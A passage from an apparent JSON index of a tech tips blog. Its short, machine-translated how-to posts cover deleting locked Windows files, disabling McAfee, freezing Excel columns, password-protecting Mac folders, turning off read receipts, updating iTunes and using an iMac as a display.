processing.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mZq%2BVYsGpvs6wZLCZo6mybrXNraZmrp%2BhsKK6zp6qZqyfYrWiusOlnA%3D%3D\n","link":"/post/why-do-we-throw-waste-into-volcanoes-to-handle/","section":"post","tags":null,"title":"Why do we throw waste into volcanoes to handle?"},{"body":" You get Error 0x80004002: No such interface supported when trying to delete files, an error that states that the files are being used or that you do not have permission to delete them, or even confusing error codes for ordinary users. These methods will allow you to delete most files that do not allow you, but specifically those that show\nYou get Error 0x80004002: No such interface supported when trying to delete files, an error that states that the files are being used or that you do not have permission to delete them, or even confusing error codes for ordinary users. These methods will allow you to delete most files that do not allow you, but specifically those that show\n  To solve this problem we just need to make sure that this file is not used by any other process and you have permission to delete it.\nMethod 1: Delete the file in safe mode For Windows 7: Restart your computer and keep pressing F8 until you see the Advanced Boot Menu. If you don't see this menu, start over again and repeatedly press the F8 key on your keyboard until you see this. When you see this, select Safe Mode with Networking . You will be able to log into safe mode. On the Advanced Boot Menu , select Safe Mode with Networking with the arrow keys on your keyboard. Press Enter to start the computer in Safe Mode with Networking . The picture below only shows Safe Mode, but you need to select 'Safe Mode with Networking' For Windows 8/10 follow this link: Start Safe Mode in Windows 10/8 Once your system has successfully booted in Safe Mode, select the file you want to delete and do so. After the file has been deleted, reboot the PC back to normal mode. Method 2: Install Internet to delete temporary files Start the computer in safe mode by following the steps provided in Method 1. When booting, hold down Windows + R. Type down inetcpl.cpl \u0026nbsp; and click OK. Select the advanced tab and click Reset Check the Delete Personal Settings box (this will delete any toolbars, usernames or passwords, search providers and others) and click Reset . After reset, you will be able to delete the file.    Jessica Tanner Update 16 April 2020\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjJ6pq6eiYn25hI9pZ21oYGd6r7uMrKycoF2eu7Wx0Z%2BYnJ1dqMKxvM6rq56c\n","link":"/post/fix-error-0x80004002-no-such-interface-supported/","section":"post","tags":null,"title":"Fix error 0x80004002 No such interface supported"},{"body":"Check resolution in case of only one monitor màn If your Windows 10 desktop or laptop rig uses only a single monitor setup, you can easily check that screen's resolution via a basic option in the Settings app.\nFirst, press the Windows + I key combination to open the Settings app on your Windows 10 PC.\nIn the ' Settings ' window that opens, click on the ' System ' item .\n  In the ' System ' settings menu , look at the list of items on the left side of the screen, find ' Display ' and click on it.\n  In the right pane, scroll down to the ' Scale and Layout ' section. Here, the value displayed in the ' Display Resolution ' drop-down menu is the current resolution on the monitor you are using.\n  For example, in the example below, the current screen resolution is 1920 x 1080 pixels.\nCheck the resolution in case of using multiple monitors at the same time If you're using a set of PCs running Windows 10 with multiple monitors running at the same time, you can still easily check the resolution of each monitor through the Settings app, but the method will be slightly different. .\nFirst, press the Windows + I key combination to open the Settings app on your Windows 10 PC. Then, click on the item ' System '.\n  Select ' Display ' in the menu on the left side of the screen.\n  Now, look to the right pane, then click on the monitor that you want to check or change the resolution.\nIn the example below, there are two screens numbered ' 1 ' and ' 2 '. The main display will always be labeled ' 1 ', but if you're not sure which one it is, you can click the Identify button below to display the corresponding numbers directly on the screen.\n  After selecting the correct monitor, scroll down to the ' Scale and layout ' section. Here, the value in the \" Display Resolution \" drop-down menu is the current resolution of the monitor you have selected.\n  In case you want to change the screen resolution, click on the \" Display resolution \" drop-down menu and choose a new resolution. However, if you do not have too special needs, at best you should choose a resolution labeled ' Recommended '. This is the recommended resolution that Windows 10 believes best suits your monitor.\n  screen resolution Display Resolution ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedKcqZ6dnmK%2Fpr%2FOpaytoZ%2Bjeqq6jLCgp5yfrMBufY8%3D\n","link":"/post/how-to-check-screen-resolution-in-windows-10/","section":"post","tags":null,"title":"How to check screen resolution in Windows 10"},{"body":"Have you ever thought that your pet would like to listen to music? If ever, your thoughts completely coincide with Spotify engineers because this online music platform has just launched the feature to create playlists (playlists) for pets to let them entertain at home when The owner is away.\nBy this point, many of us may think this is silly, but Spotify engineers are not 'crazy' at all. The decision to introduce a playlist for pets was made by Spotify after a research result showed that 74% of pet owners in the UK often play music for them to listen to in their free time, while 25% split Will once have seen his pet interact with the song.\nNot only the playlist, the music playing platform from Sweden also launched a pet podcast, along with stories, compliments or petting for dogs.\n  Here are the steps to create a playlist for pets on Spotify:\nStep 1: Visit the Pet Playlist item on Spotify.\nStep 2: Choose the type of pet you are raising.\nAvailable options include dog, cat, iguana, mouse or bird.\nStep 3: Provide more information about your pet.\nLet Spotify know the animal's 'personality': From shy, friendly to hyperactive . choose the feature that best suits your pet. This data will help Spotify's algorithm set the playlist that best suits the animal.\nStep 4: Add names and photos for the playlist\nThe cover of the playlist will include your pet's name and photo, allowing you to maximize your playlist.\nStep 5: Listen and share.\nLet your pet experience their own music space with the newly created special playlist.\nIt's unclear whether music really helps pets to relax, but it's clear that this is a great gimmick for Spotify targeted at pet owners - a cute and is also worth experiencing.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYypo5qxnJ7Atb%2BMn6arZaCawbR5zqdkrKifqbanxQ%3D%3D\n","link":"/post/how-to-create-playlists-for-pets-on-spotify/","section":"post","tags":null,"title":"How to create playlists for pets on Spotify"},{"body":"This wikiHow teaches you how to temporarily turn off McAfee Security Center on your Windows or Mac computer. Disabling McAfee will not remove it from your computer. Keep in mind that, if McAfee is your only antivirus software, turning it...\nMethod 2of 2:\nOn Mac  Click the McAfee icon. It's the white \"M\" on the red shield icon in the top-right side of your Mac's menu bar. If you don't see this icon, click the magnifying glass icon in the top-right corner, type in \"McAfee\", and click the Internet Security option.   Click Total Protection Console…. This is near the bottom of the McAfee drop-down menu.\n  Click the Home tab. It's in the upper-left side of the window.\n  Click the gear icon. You'll find this in the top-right corner of the Home tab.\n  Click Real-Time Scanning. It's near the top of the gear drop-down menu. Doing so opens a window for Real-Time Scanning.\n  Disable Real-Time Scanning. To do so: Click the lock icon. Enter your administrator password and click OK. Click the Real-Time Scanning switch in the top-right corner. Close the Real-Time Scanning window.   Click the gear icon again, then click Firewall. The Firewall tab is just below the Real-Time Scanning option.\n  Disable McAfee's Firewall. You'll do this in the same way in which you disabled Real-Time Scanning.\n  Click the gear icon again, then click Automatic Updates. It's below the Firewall option.\n  Disable automatic updates. You'll do this in the same way in which you disabled Real-Time Scanning and the Firewall.\n  Click the gear icon again, then click Scheduled scans. It's at the bottom of the \"Mac Security\" group of options.\n  Unlock the Full and Custom Scan Settings page. Click the gear icon and enter your administrator password, then click OK.\n  Click the Weekly drop-down box. It's on the far-left side of the \"Scheduled scans\" page. If you don't see this option, click the Scheduled scans tab near the top of the page.   Click Never. Doing so prevents McAfee from re-activating itself to scan your computer.\n Click the gear icon again, then click McAfee SiteAdvisor. It's near the bottom of the drop-down menu. SiteAdvisor is responsible for McAfee's presence in your Mac's browsers.  Disable SiteAdvisor. Click the switch in the top-right corner of the SiteAdvisor page to do so. You may have to click the lock icon and enter your administrator password in order to be able to click the switch.   Close the settings window. Your Mac's McAfee program should now be completely disabled.\n Remove McAfee from your Mac. If you want to completely remove McAfee's notifications, icons, and all other forms of its presence from your Mac, you'll have to uninstall McAfee itself. To do so: Open  Finder. Click the Applications folder on the left side of Finder, or click Go and then click Applications in the drop-down menu. Find and double-click the McAfee® Total Protection Uninstaller app. Click Continue when prompted. Enter your administrator password when prompted, then click OK. Click Finish once McAfee finishes uninstalling.   Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqK6juMRmpJyZlpqy\n","link":"/post/how-to-disable-mcafee/","section":"post","tags":null,"title":"How to Disable McAfee"},{"body":"You want to increase the memory, increase the ability to convey information to the reader in addition to using traditional text, you can convey information to the reader with a concise mind map, quick memorization with visual images. . The following article will guide you in detail How to draw beautiful mind maps using iMindMap.\nIf you have not installed the iMind Map software, you can download it on the site: https://www.mindmeister.com/\nStep 1: Open iMindMap software -\u0026gt; click Mind map:\n  Step 2: Select Mind map -\u0026gt; select the icon set as the main keyword ( central idea) -\u0026gt; Start:\n  Step 3: Enter the content as the main keyword, choose the font style, font and font color .\n  In case you want to move to another location -\u0026gt; move the mouse to the position in the middle of the white background -\u0026gt; click and hold the left mouse button to move the central idea to the desired location:\n  Step 4: Click the icon in the central position of the Central idea -\u0026gt; click and hold the left mouse button to move to the position you want to create a branch -\u0026gt; enter keywords for the newly created branch:\n  Step 5: Similarly create other branches. Change the branch type by clicking the icon:\n- Branch: Smooth branch (yellow icon)\n- Box Branch: Branch with text box attached (red icon)\n  Example of selecting branch with text box attached:\n  Step 6: After creating the branch, create branch level 1 by clicking on the plus sign of the parent branch -\u0026gt; select the branch type -\u0026gt; click and hold the left mouse button to draw the branch you need to create:\n  The result has created branch level 1:\n  In case you want to insert illustrations for the diagram on the Insert tab -\u0026gt; Image File -\u0026gt; select the path to the image file to be inserted:\n  After selecting the image file, the dialog box informs you that you use the image as the main keyword or the branches, for example here set the image as the central keyword -\u0026gt; select Central idea:\n  Resize images as the main keyword accordingly -\u0026gt; get results:\n  Similarly, you can insert illustrations for the branch in the mind map:\n  In addition, to edit, move the branch position, click the 4-way arrow icon -\u0026gt; click and hold the left mouse button to move as you like:\n  Above is a detailed guide How to draw beautiful mind maps with iMindMap.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyilsRursSarK2hlqq5brnIp5tmpZGlwG7DyK2fZqGdnrulucCp\n","link":"/post/how-to-draw-beautiful-mind-maps-with-imindmap/","section":"post","tags":null,"title":"How to draw beautiful mind maps with iMindMap"},{"body":"For Excel spreadsheets that have a large number of columns, you want to freeze the first columns so that when you move the mouse over the column larger than the number of columns displayed in Excel, these columns remain the same. If you do not know how to fix columns in Excel, you can refer to the following article.\n  Below article will guide you in detail how to fix columns in Excel.\nFreeze first column in Excel worksheet On the Excel worksheet, you need to fix the first column, select View -\u0026gt; Freeze Panes -\u0026gt; Freeze First Column.\n  So the first column in the spreadsheet will be fixed, you can drag to the data in how many columns the first column will still show.\n  Freeze multiple columns in Excel spreadsheets If you want to freeze more columns than just the first column, follow these steps:\nStep 1 : Place your cursor in the first cell in the column next to the columns you want to freeze, or select all of them.\nNote: all the columns to the left of the column where you place the mouse cursor will be fixed, the column where the mouse cursor is will not be fixed. Fixed columns always start from the first column (column A), you can't fix multiple columns in the middle of the worksheet. You need to determine the right position of the mouse cursor to fixed columns more accurately .\nFor example, if you want to fix the HS column and the HS Name column , you put the mouse pointer in the first cell in the next column which is C3 is Specialized Class.\n  Step 2: Click the View -\u0026gt; Freeze Panes tab -\u0026gt; Freeze Panes to freeze the columns before the column you select.\n  Thus, you have fixed many columns for Excel worksheet, the fixed columns will always be displayed no matter you move the mouse to the nth column in the data file with many columns.\n  How to unfreeze columns If you have fixed the column and have finished processing the data on the Excel spreadsheet, you want to remove the column so that the Excel spreadsheet to its original form, you just need to select View -\u0026gt; Freeze Panes -\u0026gt; Unfreeze Panes.\n  Above is how to fix columns in Excel, if you want to fix both rows and rows, then you should refer to the tutorial here http://TipsMake.vn/cach-co-dinh-cot -va-dong -ieu-de-in-excel-2016 /.\nHope the article will help you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqku8uupKerXZ67brHXnJyl\n","link":"/post/how-to-fix-columns-in-excel/","section":"post","tags":null,"title":"How to fix columns in Excel"},{"body":"Microsoft PowerPoint is the most popular presentation document editing software today, and of course video insertion is indispensable. However, it is not always possible to display with your computer. So how to insert video into PowerPoint and still open when transferred to another computer? The following article will guide you.\n* In this tutorial, I use PowerPoint 2016.\n  1. Insert videos online PowerPoint allows you to insert videos from YouTube in particular and the Internet in general, so you can play videos anywhere, on any computer, as long as you have a network connection.\n* Note: Microsoft PowerPoint requires you to use a default browser of Internet Explorer 9 or higher to be able to play video inserted from the Internet.\nThe steps to insert online videos into PowerPoint are as follows:\nStep 1: Select the slide you want to insert the video into. Switch to the Insert tab , click Video \u0026gt; Online Video .\n    Step 2: There are two options for you: Enter a keyword to search for videos on YouTube, or paste the video's embed code.\n  Result after inserting:\n  2. Insert the video from on the computer There are two ways to insert videos from a computer into PowerPoint, one is to embed them directly, and the other is to create a link to the video.\n- Direct embedding means you insert videos directly into slides. In other words, the video becomes part of the PowerPoint file. After saving the file, the video will also be saved inside. This way, you can display it on any computer with only that PowerPoint file, but the file size will increase significantly.\n- If you create a link to the video, you will launch the video from its correct location, such as a folder on your hard drive. The video is still completely independent from the PowerPoint file. This way the file will not increase in size, but if you save and slide it on another computer, the link you create will be broken (unless you also save the video in the same location, in the same message). item, on that computer).\nFor ease of presentation on another computer, you should choose to embed the video directly into PowerPoint.\nStep 1: Select the slide you want to insert the video into. Switch to the Insert tab , click Video \u0026gt; Video on My PC .\n    Step 2: Select the video on your computer and then click on Insert .\n  Result after inserting:\n  And after transferring the PowerPoint file to another computer, the inserted video can still be played normally.\n  Through the article above, I showed you how to insert videos into PowerPoint and still open when transferred to another computer. Very simple, wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIyaZK%2BhlJq8brXNraZmqJ%2BssrO8zqKlrWWRo7Fuv9Oio6Vln6Wyr3nWoZynZaSnrq%2B%2FxZ6pq52UYsGwecCnpq2glad6pbHVopqe\n","link":"/post/how-to-insert-a-video-into-powerpoint-and-still-open-when-transferred-to-another-device/","section":"post","tags":null,"title":"How to insert a video into PowerPoint and still open when transferred to another device"},{"body":"On macOS, the folders are not encrypted directly, but you can set a password to protect it. This is an effective way of protecting folders and files contained therein. You can set the folder password on macOS using the built-in Disk Utility or the third-party Encrypto tool.\nHow to set a password to protect the folder using Disk Utility You can protect the content within a folder by copying them to a password-protected disk image. This will create a new dmg file with password protection. The root directory will not be affected and you can delete it when you finish copying the content to disk image.\nStep 1 . Open Disk Utility from Spotlight or ' / Applications / Utilities / Disk Utility.app '.\nStep 2 . Select File\u0026gt; New Image\u0026gt; New Image from Folder . from the menu bar.\n  Step 3 . Select the folder you want to password protect from the file explorer window that appears.\nStep 4 . In the Encryption menu, select 128-bit AES Encryption or 256-bit AES encryption . The second option is safer but takes more time to encrypt and decode. Both of these formats provide a good level of protection for your data, so here we will choose 128-bit AES.\n5 popular encryption algorithms you should know   Step 5 . Enter the password when prompted. This is the password you will use to unlock the disk image, unlike your Mac password. To ensure data safety, you should set a hard-to-guess password.\nStep 6 . In the Image Format menu, select read / write to add the file to the image if you want. Or not if you just need to see the files on the disk image without updating or adding new files.\n  Step 7 . Click Save to create the encrypted disk image and it will notify you when the creation process is complete.\n  Step 8 . Unless in the previous step you have another saved location, otherwise the disk image will appear next to the folder you have chosen to set a password protection.\n  The DMG file is not the same as your directory, but it is a copy of the contents of the directory in the disk image format. This disk image is password protected, requires entering a password to mount and read the contents.\nWhen opening the disk image, you need to enter the password to access the image and see all the files of the folder. After checking the image, you can delete the unencrypted folder.\nHow to set a password to protect the Encrypto folder Encrypto is a third-party encryption tool available in the Mac App Store. It provides easy encryption and decryption features based on simple drag and drop features.\nDownload : Encrypto\nStep 1 . Install Encrypto from Mac App Store.\nStep 2 . Open Encrypto from the Applications folder.\nStep 3 . Drag the folder you want to encrypt into Encrypto 's window.\n  Step 4 . Enter the password you want to use to protect the folder. You can also provide suggestions if you are afraid to forget your password.\n  Step 5 . After entering a strong password, click Encrypt to encrypt the folder in the Encrypto archive.\nStep 6 . After the encryption process is complete, drag the Encrypto archive to a safe location. You can choose Share File\u0026gt; Save As . to save it in another location.\n  Step 7 . To open the file, double-click the Encrypto archive. Enter the password and click on ' Decrypt ' to unlock the folder.\n  Drag the decrypted folder into the saved location.\nSetting a directory protection password with the method of using the Disk Utility utility will work on all Macs, but the process is a bit complicated while Encrypto is easier to use but this may not be available. future use. So choose the right method for you.\nI wish you all success!\nSee more:\nHow to be able to encrypt and protect files or folders? Instructions for setting password to protect files and folders in Windows No need to install any software, this is how to protect your folders safely ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXqxrdKsrqiqlGK9s7vTnpqtoZ%2Bjeqe7y52cq2Wfo3qurcI%3D\n","link":"/post/how-to-set-password-protection-folder-on-mac/","section":"post","tags":null,"title":"How to set password protection folder on Mac"},{"body":"The feature has been read or viewed on chat apps like Messenger, Zalo has the option to turn them off so that others do not know you have read the message. In the past, users had to use the utility to turn off the notifications that were viewed, but currently the viewed option has been provided as a key feature so that users can easily turn on or off when they want to use. With the Skype application, the newly viewed feature is provided for both desktop and mobile versions, with very simple usage. The following article will guide you how to turn off notifications that have seen messages on Skype.\nHow many ways to turn off notifications Watched Facebook Messenger messages? How to turn off the 'viewed' message on Mocha How to turn off notifications that are entering chat chats Skype How to turn off log notifications and moments on Zalo Instructions for turning off watching Skype messages Step 1:\nUsers access personal Skype accounts. At the interface we click on the 3 dots icon and select Settings .\n  Step 2:\nDisplay account setup interface and Skype interface. Here users click on the Messaging group in the list column on the left of the screen.\n  Step 3:\nLooking at the content on the right, we will see the Read receipts option to turn off or turn on message view mode when reading other people's messages. You move the circle button to the left to turn off this Read receipts mode. So other people don't know if you read the message they sent.\n  In addition, when users switch to Invisible status, the viewed feature will be disabled, turn off the notification that was viewed when reading the incoming message. This viewed feature applies when you have a personal chat or group chat for up to 20 people.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZKenpJ6zqq%2FAraCopqNiw6qx1p6bZqeeYsCsxc%2Be\n","link":"/post/how-to-turn-off-notifications-viewed-on-skype/","section":"post","tags":null,"title":"How to turn off notifications viewed on Skype"},{"body":" Read receipts let a contact know that you've read their message. If you don't like this feature, you can disable it completely on all renditions of Apple Messages; you can also disable it for specific contacts. Open the Settings app.\nMethod 1of 4:\nTurning Off All Read Receipts (iOS)  Open the Settings app.\n  Tap Messages.\n  Tap the green switch next to \"Send Read Receipts\". If this switch is grey, your read receipts are already disabled.\n  Exit Settings. You will no longer send read receipts!\n Method 2of 4:\nTurning Off All Read Receipts (Mac)  Open the Messages program. This is the blue speech bubble icon in your dock.\n  Click Messages. You can find this in the top left corner of your Mac's screen in the toolbar.[1]\n  Click Preferences.\n  Click the \"Accounts\" tab.\n  Uncheck the box next to \"Send read receipts\".\n  Exit the Preferences menu. Now you won't send read receipts!\n Method 3of 4:\nDisabling Read Receipts for a Specific Contact (iOS)  Open the Messages app. If you have read receipts enabled but wish to disable them for a specific contact, you can do so from within a conversation with that contact.\n  Tap a conversation. If you're already in a conversation, tap  in the top left corner of your screen to return to your \"Messages\" menu.\n  Tap your conversation's \"Details\" icon. This is the encircled \"i\" in the top right corner of your screen.\n  Tap the green switch next to \"Send Read Receipts\". It should turn grey. If this switch is already grey, your read receipts are already turned off.   Tap Done. Your contact will no longer receive read receipts!\n Method 4of 4:\nDisabling Read Receipts for a Specific Contact (Mac)  Open the Messages program. This is the blue speech bubble icon in your dock.\n  Click a conversation. You can browse your currently-saved conversations from the left side of your screen.\n  Click Details. This will be in the top right corner of your conversation page.[2]\n  Uncheck the box next to \"Send Read Receipts\".\n  Click Details again. Your contact will no longer receive read receipts!\n  Marvin Fry Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZKudkZl6s7HCnqCprKNivK95wKmnpZ1dorK0v8CgnKw%3D\n","link":"/post/how-to-turn-off-read-receipts-on-apple-messages/","section":"post","tags":null,"title":"How to Turn Off Read Receipts on Apple Messages"},{"body":"Every time an iTunes update is released, Apple will add exciting new features, fix critical bugs, and further support iPhone, iPad and other devices using iTunes. Therefore, you should update iTunes to the new version as soon as possible. The iTunes update process is quite simple. Along TipsMake.com learn through the following article offline.\nStart updating your iTunes Follow the prompt to 'upgrade iTunes' The easiest way to upgrade iTunes almost doesn't require you to do anything. Is because iTunes automatically notifies you when a new version is released. In that case, a notification window about the upgrade will appear when you launch iTunes. If you see that window and want to upgrade, just follow the on-screen instructions.\nIf that window does not appear, you can start updating manually by following the steps below.\nDowngrade iTunes New versions of iTunes are almost always better than previous versions - but not all versions are and not for all users. If you have upgraded iTunes and don't like it, you can go back to the previous version.\nUpdate iTunes to the latest version on Mac   On Mac, you update iTunes with the Mac App Store program built into macOS on all Mac OS devices. In fact, updates to all Apple software (and some third party tools) are also done with this program. Here's how to update iTunes on Mac:\nIf you have opened iTunes, continue to step 2. If not, go to step 4. Click the iTunes menu and then click Check for Updates . In the pop-up window, click Download iTunes . Move to step 6. Click the Apple menu in the upper left corner of the screen. Click the App Store . The App Store program opens and automatically switches to the Updates tab, which displays all available updates. You may not see the iTunes update immediately. This update may be hidden with other macOS updates in the Software Updates section at the top. Expand that section by clicking More . Click the Update button next to the iTunes update. After that, the App Store program will download and automatically install a new version of iTunes for your device. When the update is complete, it will disappear from the top section and appear under Updates Installed in the Last 30 Days section at the bottom of the screen. Launch iTunes and you will be using the latest version. You can refer to how to create new Apple ID on Mac using iTunes.\nUpgrade to the latest version of iTunes on a Windows-based computer Download iTunes\n  When you install iTunes on your computer, you also install the Apple Software Update program. This is what you use to update iTunes. When updating iTunes, you should ensure that you have the latest software update from Apple Software Update. Doing so can help you avoid problems that arise during the update process. To update the latest Apple Software Update software, follow these instructions:\nClick the Start menu. Click All Apps . Click Apple Software Update . When launched, the program checks to see if any updates are available for your computer. If one of these updates is available for Apple Software Update , uncheck all but the Apple Software Update option . Click Install . Once the update has been downloaded and installed, Apple Software Update will run again and give you a list of new programs available for updates. Now it's time to update iTunes:\nIn Apple Software Update , make sure that you have selected the iTunes update. (You can also update any other Apple software you want at once, just select the software you want to update.) Click Install . Follow any prompts or menus that appear on the screen to complete the installation process. When finished, you can launch iTunes and use the latest version. Alternative version: From in iTunes There is also a simpler way to update iTunes.\nIn iTunes, click the Help menu. Click Check for Updates . Continue to follow the instructions above. If you don't see the menu bar in iTunes, it may be hidden. Click the icon in the top left corner of the iTunes window, then click Show Menu Bar to display it.\nSee more:\nHow to find the App Store app without iTunes How to change the file download folder on iTunes Does iTunes not work on Windows 10? This is how to fix it ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gma61sYyiq66mlah6tbuMrZ%2BeZZyWwaa%2F02atnqqjnryv\n","link":"/post/how-to-update-itunes-to-the-latest-version/","section":"post","tags":null,"title":"How to update iTunes to the latest version"},{"body":" Make sure you can use your iMac as an AirPlay receiver. The macOS Monterey operating system lets you project or extend nearly any Mac display onto the new iMac.\nThe iMac used as an AirPlay receiver can be an iMac Pro, or an iMac released in 2019 or later. The iMac must also have macOS Monterey or later.\nThe Mac sending the AirPlay signal can be any Mac or MacBook from 2011 or later. If you want to project your screen on your iMac to use as your primary display, you'll need Mountain Lion or later. If you want to extend the display to use your iMac as a second display, you need Mavericks or later.\nYou can use an older iMac as a monitor by connecting it to Target Display Mode.\n Enable AirPlay receiving on your iMac. After you enable AirPlay reception, your iMac displays your Mac's choice of projection or extending the display. Here's how to enable it:\nClick the Apple menu and choose System Preferences .\nClick Sharing .\nCheck the box next to \"AirPlay Receiver\" in the left pane.\nChoose who can connect to this iMac using AirPlay. The best choice is \"Current user\", as this is an option that ensures others are not asked about projecting their screen to the iMac.\n Pin the Screen Mirroring icon to the menu bar on the sending signal (main machine). Do this on a Mac, not an iMac. This is what needs to be done when you extend the screen instead of the slide show. Proceed as follows:\nClick the Apple menu and select System Preferences .\nClick Dock \u0026amp; Menu Bar (Dock and Menu Bar).\nCheck the box next to \"Show in Menu Bar\" if it's not already checked.\nSelect always (always) in the menu pane.\n Connect two Macs to Wi-Fi or with a USB-C cable. You can effectively use AirPlay wirelessly if both Macs are connected to the same Wi-Fi network. Most everyday users don't notice the delay when using AirPlay over a Wi-Fi connection.\nIf you want to use your iMac as your primary display and need to do advanced video processing, you can also connect two Macs with a USB-C or Thunderbolt 3 cable that supports AirPlay 2.\n Click the Screen Mirroring icon on the sending Mac (main machine). It's the two overlapping squares to the left of the Bluetooth icon in the menu bar. A list of two AirPlay-compatible devices will appear with the choice to project or extend the screen.\n Select slide show or extend the screen. If you want to project your main Mac's screen onto your iMac screen, choose Mirror . If you want to extend the display to use your iMac as a second monitor, you'll choose Use As Separate Display .\n Click the iMac to start using it as a monitor. After you select your iMac in the list of AirPlay devices, you'll see the main Mac screen (projected or extended) on the screen.\nThe iMac that becomes an AirPlay receiver will only display the main Mac's screen.\nYou can end an AirPlay session on your iMac by moving your mouse to open the controls and clicking the X in the upper-left corner.\n Adjust the settings of the extended display. If you're using your iMac as a second display, you'll need to rearrange the display to suit your needs. For example, if the iMac is on the left side of the main screen, you need to move the mouse to the left to move the pointer to the iMac screen. Follow these steps to adjust the settings:\nClick the Screen Mirroring icon on the menu bar.\nClick Display Preferences… (Screen Preferences).\nDrag the screen left or right so that the screens display in the correct position.\nThe white menu bar at the top of the sample screen indicates that this is the home screen. If you want to set up another display as your primary display, drag the white menu bar to it.\n Find out if you can use Target Display Mode. Using Target Display Mode used to be the only way to use an iMac as a display for another Mac, and the feature isn't available on the latest version of macOS. You can use Target Display Mode when:\nThe iMac used as the display can be a 24- or 27-inch model from 2009 or 2010, or any iMac released between 2011 and mid-2014. The iMac must have macOS High Sierra or earlier. .\nThe Mac connected to the iMac must be released in 2019 or earlier, and use the macOS Catalina operating system or earlier .\n Connect two Macs using a compatible cable. You'll need a Thunderbolt or Thunderbolt 2 cable to connect the two Macs when using an iMac released in 2011 or later. For iMacs released in 2009 or 2010, you need a Mini DisplayPort cable.\n Sign in to the user account on the primary Mac. You can only use your iMac as your primary Mac display when your Mac is signed in to your account. The iMac cannot recognize the Mac showing the login screen.\nIf you want to use multiple iMacs as a display, you can do so by connecting the entire iMac directly to the main Mac using a compatible cable.\n Press ⌘ Command+F2 on the iMac. Make sure you're using the keyboard connected to the iMac, not the main Mac. After pressing this key combination, the screen of the connected Mac will show the screen of the iMac.\nIf the key combination doesn't bring up the Mac's screen, you'll press Fn + Command + F2 .\nIf this doesn't work, you can try signing out of your iMac (not the main Mac) and pressing the shortcut on the login screen.\n Use the main Mac's keyboard and mouse while using Target Display Mode. When you use your iMac as a monitor, your regular Mac's keyboard and mouse still control what you see on the screen.\n Press ⌘ Command+F2 on the iMac to exit Target Display Mode. When you exit Target Display Mode, what was previously opened on the iMac will appear on the screen.\n Duet Display is a third-party option that lets you use your iMac as a display. This is premium software that you can install on your iMac, and the main Mac allows you to use your iMac as a display. You need a paid subscription to Duet Air to use this feature, or opt for a free trial.\n Try Luna Display to use any iMac as a primary or secondary display. Luna Display improves Target Display Mode by allowing you to use any iMac (even newer) as a second display. To use Luna Display, you need to purchase a special USB-C or Mini DisplayPort connector to connect to the main Mac, and install Luna's software on both systems.\n Use the new TV as a screen. If you need a bigger screen, you can connect your Mac to a TV and use it as a display. If you have an HDTV with a Thunderbolt, Mini DisplayPort, or HDMI port, you can also play audio on your Mac through the TV.\n Project your screen to your TV using AirPlay. If you have a TV that supports AirPlay 2 — or even a streaming device like a newer Apple TV or Roku — you can use your TV as a display for your Mac. Simply turn on your AirPlay-enabled TV or streaming device, open Control Center on your Mac, and click the Screen Mirroring option.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqiuoyipJqbXZbAbq3NZpyxrJWnu6K4jKamp6GkpL8%3D\n","link":"/post/how-to-use-an-imac-as-an-external-monitor/","section":"post","tags":null,"title":"How to Use an iMac as an External Monitor"},{"body":"Facebook has just updated a new feature that is quite useful, allowing account holders to reply to Instagram messages from this social networking platform itself.\nSpecifically, on February 8, Facebook announced that businesses will now be able to receive and respond to Instagram messages from customers in their inbox (inbox) on their Facebook pages, eliminating the need to switch between two applications just to reply to the message as it is now.With this new feature, Facebook has shown its determination to synchronize service platforms.Earlier, CEO Mark Zuckerberg also decided to interoperate the company's three major messaging applications, Messenger, WhatsApp and Instagram, allowing users of these applications to cross-message.\n  Facebook doesn't want to argue more about how many people are using their apps! Accordingly, this new feature will be initially deployed for businesses in the United States and Brazil in the next few weeks.Businesses in these two countries can access this link to connect their Instagram page to their Facebook account.\nThis move of Facebook immediately received many positive comments from the business community, but there were also no experts expressed concerns about privacy as well as monopoly when new features This is officially put into operation.\n  Mark Zuckerberg explains the reason for merging Messenger, WhatsApp and Instagram Facebook has announced that there are currently more than 90 million small businesses using their applications, many of them free.In addition, it also has more than 7 million advertisers operating on all platforms under the management of this company.In the previous quarter, despite the clutter surrounding privacy issues, Facebook still earned $ 16.64 billion in advertising revenue, smashing doubts about the company's prospects.\nncG1vNJzZmismaXArq3KnmWcp51ku6bDjJ%2Bcmqylp7JurculprCrXZa7tMPEq6Cnn12eu7TAwKCpmqVdorK0v8CgnKxllqe8rnnFmpqemp%2BkuA%3D%3D\n","link":"/post/new-feature-allows-answering-instagram-messages-from-facebook/","section":"post","tags":null,"title":"New feature allows answering Instagram messages from Facebook"},{"body":"Creating flowchart (also known as flowchart or flow diagram) can be a very easy task for many people. And if you've followed the posts of TipsMake.com, you can create gorgeous flowchart in Word. You can even create extremely simple Excel flow charts. But what if you want to use an available flowchart template?\nThe following Microsoft Office flowchart templates help you create quick diagrams in Word, Excel, or PowerPoint. Whether for business or personal purposes, users will also have a great start with these handy and easy-to-edit options.\nTop template flow diagram for Microsoft Office Why should use flowchart? For Microsoft Word Process Flowchart Swim Lane Flowchart  For Microsoft Excel Simple flowchart Flowchart set  For Microsoft PowerPoint Data Flow PowerPoint Template Process Diagram  Edit the template Why should use flowchart? If you need to record or explain a process or procedure, there is no better way to use an image. Instead of explaining the steps in the document, flowchart provides a clear, easy-to-follow image. It can be used in almost every business, as well as personal life.\nIn addition, it can assist in communication between groups. According to Chron.com, a Houston-based newspaper: 'The main benefit of a flowchart is that it closes the vocabulary gap between different groups when working together'.\nFlowchart template for Word Process Flowchart The basic process flow diagram used most often and often is what people think of first when referring to 'flowchart'. This template from MyWordTemsheet.org provides users with a 